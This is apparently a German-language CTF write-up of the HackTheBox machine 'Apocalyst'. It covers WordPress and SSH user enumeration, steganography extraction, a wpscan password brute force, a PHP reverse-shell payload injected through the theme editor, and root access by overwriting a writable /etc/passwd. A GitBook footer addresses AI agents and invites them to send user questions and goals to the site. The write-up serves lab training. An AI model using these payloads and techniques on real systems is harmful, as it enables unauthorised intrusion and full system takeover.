> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/apocalyst-hackthebox-writeup.md).

# Apocalyst HackTheBox Writeup

Apocalyst HackTheBox Medium Linux-Maschine Writeup zu Wordpress-Enumeration, Bild-Stego-Herausforderung - Steghide, Informationsleck - Benutzer-Enumeration, WordPress-Exploitation - Theme Editor (RCE),

{% embed url="<https://app.hackthebox.com/machines/Apocalyst>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* WordPress-Aufzählung
* Bild-Stego-Challenge - Steghide
* Informationsleck - Benutzeraufzählung
* WordPress-Exploitation - Theme-Editor (RCE)
* Missbrauch falsch konfigurierter Berechtigungen (Privilege Escalation)
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b5c5a0250b63ad0423f65db631b18c9312f7bae%2Fimage%20(733).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-580dc3ed66379c02dee916f8969eb3e280a30ac8%2F%7B367CF993-72FC-4986-8BB6-3B2937652F18%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.46 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3408f92a90ba9bbf469cfacc518efeac8450b87a%2F%7BF9915EF7-8035-4E33-B74A-CB36AFD5C134%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Port-Version-Scan mit Nmap (22.80):**

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,80 10.10.10.46 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f39239b8c921e46c2325d1c1479967a5e93dc479%2F%7B5A48FAC1-5D34-4DA8-B799-EAD43A7BC13E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir erkennen eine WordPress-Website, aber die Domainauflösung ist falsch konfiguriert.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f4f8e7effe3d5606a079210f9f672a732053356d%2F%7B0B9FBD72-CF59-4841-98E5-C4F4F64C36FB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir fügen den folgenden Eintrag zu */etc/hosts*:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-84fd129d773d16f08caa9d98eb21de87441bf681%2Fimage%20(734).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bfd84f861bd111615c381e2e1fc18b5f5889083%2Fimage%20(735).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## **Erkundung der WordPress-Website**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a5ddf6f1127c7bf11207a8f57f1d10bb89900216%2F%7B736E53A1-C4FE-4F12-B449-75353059F74A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Einen gültigen Benutzer identifizieren**

Wir finden einen gültigen Benutzer: **falaraki**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a78402ffafd0799ce1204bda3cfbd2e52310e668%2Fimage%20(736).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### **SSH-Exploitation**

Da die SSH-Version veraltet ist, können wir einen Exploit verwenden, um den Benutzer auf dem System zu validieren:

```bash
searchsploit -m linux/remote/45939.py
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0bb3100823f519a8639ef7f8e71fbd5b24d65d3%2Fimage%20(737).png?alt=media" alt=""><figcaption></figcaption></figure>

Prüfen, ob der Benutzer existiert:

```bash
python2 ssh_enumeration.py 10.10.10.46 falaraki 2>/dev/null
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3b9c2c45e5dddd3e3436ca701e9456ccd401241c%2F%7B1DEDC8FE-B243-4765-A9CD-7F75A7C767E8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### also für WordPress:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6e4c4479417d9633922057aa8d5aa2419bec2b7c%2Fimage%20(738).png?alt=media" alt=""><figcaption></figcaption></figure>

### **WordPress-Auflistung**

Wir verwenden *wfuzz* um nach interessanten Verzeichnissen zu suchen:

{% code overflow="wrap" %}

```bash
wfuzz -u http://apocalyst.htb/FUZZ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 -t 200 -L
```

{% endcode %}

Dieser Scan erkennt mehrere Seiten, die einen 301-Code zurückgeben und zu einem Bild weiterleiten.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c7c501f0655c83af14cf3f90dc95cdd49cd47c1a%2Fimage%20(740).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c51bf9169d6316f98bdf1337245a72d812af43c%2F%7B428DB325-60F6-4B0E-889D-35A3CF4E9C4B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir filtern dann nach der Länge des Textes (157):

{% code overflow="wrap" %}

```bash
wfuzz -u http://apocalyst.htb/FUZZ --hh=157 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 -t 200 -L
```

{% endcode %}

Keine interessanten Ergebnisse.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed38235d4cfa641eba89bbb87c919d1ea33dee60%2F%7BA38C8B07-0498-402A-83EB-16FDC60D6437%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Erstellung eines personalisierten Wörterbuchs - CEWL** <a href="#custom-dictionary" id="custom-dictionary"></a>

Wir erstellen ein Wörterbuch basierend auf der Website:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b937520bd6451e57f7c75b38c00c11188af5dc4d%2F%7BC1D4EFF5-7B22-4E8C-9FF9-454BCB5E398C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Verwenden Sie **Cewl** um ein Wörterbuch basierend auf der Website zu erstellen:

```bash
cewl -w list.txt http://apocalyst.htb/
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a4df0326859b616c23ce0ca4b7c99c2e0b3e996d%2F%7B9F74D61D-0E49-42C9-9A0A-3B87BF41CE3E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Neue Erkundung mit *wfuzz*:

{% code overflow="wrap" %}

```bash
wfuzz -u http://apocalyst.htb/FUZZ -w list.txt --hh=157 --hc=404 -t 200 -L
```

{% endcode %}

Wir finden die **`Rechtschaffenheit`** Verzeichnis.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6062b94674fbf8368e21cf461dafa9c155c3c5c1%2F%7BBCB6626A-F81D-464C-913C-C35579D2DF81%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Steganografieanalyse mit Steghide**

Wir speichern das Bild und analysieren es:

1. Prüfen, ob das Bild versteckte Daten enthält:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6b4ca11ae1f050ecbfcd4dd668907d447cef1326%2F%7BBF3E2B46-EBEB-41D5-AB60-F14D12C229A1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Prüfen, ob das Bild versteckte Daten enthält:

```bash
steghide info image.jpg
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-25bafbe8c5377ac368938e0bf667b9418b09be92%2F%7BB61AC2D5-D35E-4808-9E7E-C44BA34BA105%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Extraktion versteckter Daten:

```bash
steghide extract -sf image.jpg
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58db1cc7ea2d9cee8ab957d4376b054382d83e9f%2F%7B1ED250B8-3960-43F4-A11F-9FCC21581E8B%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

A *list.txt* Eine Datei mit Wörtern wird generiert

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-abd92d1e0eeb2f1ba183555203ffd478097959c7%2F%7BB33AD389-288C-4D38-BE1A-D89F3AD8F0ED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Brute-Force-Angriff auf WordPress**

<table data-full-width="false"><thead><tr><th data-type="content-ref"></th></tr></thead><tbody><tr><td><a href="/de/cms/wordpress-cms-exploitation/manual-brute-force-xmlrpc.php.md">Manueller Brute Force (xmlrpc.php)</a></td></tr></tbody></table>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a00153ba79137b90fe64e28af55f5d87f91bc707%2F%7BD6600E64-F085-4894-90B6-1555244867E6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir starten einen Brute-Force-Angriff mit *wpscan*, indem wir *xmlrpc.php* ausnutzen, das aktiv ist:

```bash
wpscan --url http://apocalyst.htb -U falaraki -P list.txt
```

Wir finden **falaraki**'s Passwort: **Transklisikation**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ba98744a18bb62e862ccf1bcf00c09c419ae5fd1%2F%7B04411861-90BF-4F1C-A54A-0A03A3DC48BF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-487f641c1d8eea9847f2c85cdf35cd74391a02e1%2F%7BE4E8EE06-2FC9-4BBA-B81F-13A52FC03472%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **WordPress-Exploitation - Remotecodeausführung (RCE)**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea534a89e75ad30df3dbeedda4a755d9d9ef26d7%2F%7BC6CEFE52-1E03-4C72-9C22-8A7FBFFED8AD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir ändern das *404.php* Datei und injizieren Sie darin eine Reverse Shell:

```php
<?php
system("bash -c 'bash -i >& /dev/tcp/10.10.14.50/443 0>&1'")
?>
```

Lauschend auf Port 443:

```bash
nc -nvlp 443
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbe1a9f3696247622f44156d5ff7e42f50b3697e%2F%7BB4364371-95D3-4E1C-874E-F6752D49D1B2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Ausführen der Shell über *curl*:

```bash
curl -s -X GET "http://apocalyst.htb/?p=404.php"
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-492ca22c588ca624a80e76ddf639ae07c9b184d9%2F%7B34B5F0C0-0745-4EF0-B5B8-A7C59C7746AB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Verbesserte Shell-Sitzung:

```bash
script /dev/null -c bash
# Strg+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flagge user.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-409e7951559e41b4da40554db7056ef664dd1770%2F%7B3ED8C5CC-DB9E-41DF-89DD-CCCB457B9041%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## **Privilegieneskalation**

### **Berechtigungsverwaltung (`/etc/passwd`)**

```bash
find / -writable 2>/dev/null | grep -vE "/dev|tmp|var|run|lib|proc|sys"
```

Wir sehen, dass */etc/passwd* bearbeitbar ist.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad8d76942ce6ab07d8d7a3a4270c1a80b1d857b4%2F%7B6B243335-2F12-422D-8B64-634021F6159E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Erstellen eines verschlüsselten Passworts mit OpenSSL:

```
openssl passwd -1 -salt WylYIBz9 jordan
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-34fa1adb757b53a84eb292e44e51d9f7a17d9548%2F%7BD6C0C74F-44A5-44F3-95CF-D03CB57B6963%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Dadurch wird erzeugt:

* $1$WylYIBz9$3sZ.Aikcts/jZIpgmvnck/

Wir ersetzen die root-Zeile in */etc/passwd* durch unseren Hash.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c8b90a957997c2a72c282022cd3073dfe28cdf28%2F%7BD16226D7-C948-44FF-96C4-3E65C749C68D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Als root anmelden:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8fe18b188b4303e1da030fdc73ba17abb087c8d4%2F%7B093F76F7-EBA7-48AC-821A-B6C057385FF0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt-Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1f699b912fb404ef9aa1d50bc06e41ece46c6707%2F%7B4AED9304-1390-41EC-987B-04B55CE51A4C%7D.png?alt=media" alt="" width="545"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f7dd81340fb560d2d1e3614101f77ae62246e437%2F%7B7D75D75E-C048-45C5-A8E3-D4FFF5D61652%7D.png?alt=media" alt="" width="517"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/apocalyst-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
